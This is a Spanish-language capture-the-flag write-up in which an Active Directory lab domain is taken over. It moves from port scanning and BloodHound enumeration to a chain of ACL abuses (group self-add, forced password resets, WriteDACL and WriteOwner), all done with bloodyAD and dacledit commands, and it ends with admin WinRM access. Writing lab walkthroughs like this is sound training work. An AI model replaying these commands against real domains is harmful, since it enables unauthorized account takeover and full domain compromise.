Write-ups

Resolución del CTF Elevator


Enumeración

Escaneo de puertos

Realizamos un escaneo de todos los puertos para identificar los servicios activos en el sistema objetivo.

nmap -p- --open -sCV -Pn -n --min-rate 5000 192.168.0.100
  • -p- : Escaneo de todos los puertos. (65535)
  • -sS : Realiza un TCP SYN Scan para escanear rápidamente qué puertos están abiertos.
  • -sC : Escaneo con scripts básicos de reconocimiento.
  • -sV : Detección de servicios.
  • –min-rate 5000 : Escaneo no inferior a 5000 paquetes/segundo.
  • -n : Sin resolución DNS.
  • -Pn : Sin descubrimiento por ping.

El sistema expone servicios típicos de un controlador de dominio Active Directory, incluyendo LDAP, Kerberos, SMB y WinRM.

Credenciales iniciales

Disponemos de credenciales válidas de dominio proporcionadas por el laboratorio, que verificamos contra LDAP.

nxc ldap 192.168.0.100 -u 'john.smith' -p 'Rk436#Z4&'

Enumeración de Active Directory

Recolectamos información del dominio para identificar relaciones de privilegios y posibles rutas de escalada.

bloodhound-python -d bloodhound.thl -u 'john.smith' -p 'Rk436#Z4&' -c all --zip -ns 192.168.0.100

El análisis revela una cadena clara de abuso de permisos basada en AddSelf, GenericAll, ForceChangePassword, WriteDACL y WriteOwner.

Escalada de privilegios en dominio

El usuario inicial puede añadirse a un grupo con privilegios adicionales.

bloodyAD -d bloodhound.thl --dc-ip 192.168.0.100 -u 'john.smith' -p 'Rk436#Z4&' add groupMember FINANZAS john.smith

Como miembro del grupo, heredamos control total sobre otro usuario y forzamos el cambio de contraseña.

bloodyAD -d bloodhound.thl --dc-ip 192.168.0.100 -u 'john.smith' -p 'Rk436#Z4&' set password mary.johnson admin12345

Continuamos la cadena forzando el cambio de contraseña de un tercer usuario.

bloodyAD -d bloodhound.thl --dc-ip 192.168.0.100 -u 'mary.johnson' -p 'admin12345' set password robert.williams admin12345

Abuso de WriteDACL

El siguiente usuario dispone de permisos WriteDACL sobre otro objeto de usuario, lo que nos permite asignarnos control total.

bloodyAD -d bloodhound.thl --dc-ip 192.168.0.100 -u 'robert.williams' -p 'admin12345' add genericAll patricia.brown robert.williams

Con el control efectivo, forzamos nuevamente el cambio de contraseña.

bloodyAD -d bloodhound.thl --dc-ip 192.168.0.100 -u 'robert.williams' -p 'admin12345' set password patricia.brown admin12345

Abuso de WriteOwner y control de grupo

El nuevo usuario tiene capacidad para modificar el propietario de un grupo privilegiado.

bloodyAD -d bloodhound.thl --dc-ip 192.168.0.100 -u 'patricia.brown' -p 'admin12345' set owner OPERACIONES patricia.brown

Al ser propietarios, ajustamos la DACL del grupo y nos añadimos como miembros.

dacledit.py -action 'write' -rights 'WriteMembers' -principal 'patricia.brown' -target-dn 'CN=OPERACIONES,OU=OPERACIONES,DC=BLOODHOUND,DC=THL' 'bloodhound.thl/patricia.brown:admin12345'
bloodyAD -d bloodhound.thl --dc-ip 192.168.0.100 -u 'patricia.brown' -p 'admin12345' add groupMember OPERACIONES patricia.brown

Acceso a usuario privilegiado

El grupo controlado tiene GenericAll sobre un usuario con privilegios administrativos, lo que nos permite comprometerlo.

bloodyAD -d bloodhound.thl --dc-ip 192.168.0.100 -u 'patricia.brown' -p 'admin12345' set password michael.jones admin12345

Añadimos el usuario comprometido al grupo de administración remota para acceso por WinRM.

bloodyAD -d bloodhound.thl --dc-ip 192.168.0.100 -u 'michael.jones' -p 'admin12345' add groupMember 'Usuarios de administración remota' michael.jones

Acceso final

Accedemos al sistema con privilegios administrativos mediante WinRM y obtenemos control total del dominio.

evil-winrm -i 192.168.0.100 -u 'michael.jones' -p 'admin12345'

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *